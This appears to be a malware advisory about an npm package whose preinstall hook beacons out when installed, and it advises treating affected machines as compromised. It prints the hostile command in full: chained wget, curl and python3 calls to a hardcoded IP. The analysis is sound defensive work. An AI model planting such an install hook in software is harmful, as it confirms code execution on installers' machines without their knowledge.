On `npm install`, package.json's `preinstall` script executes `wget http://10.107.121.85:8000/callback_wget || curl http://10.107.121.85:8000/callback_curl || python3 -c "import urllib.request; urllib.request.urlopen('http://10.107.121.85:8000/callback_py')"`. This unconditionally beacons to a hardcoded RFC1918 IP over plain HTTP with three different callback paths corresponding to the tool that succeeded — a recon primitive that confirms arbitrary code execution on the installer's machine and enumerates which outbound utilities are available. The package's own description is "Probe", and it ships no functional code. There is no legitimate package-functional purpose for the beacon; the install-time outbound request is the package's entire behavior.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
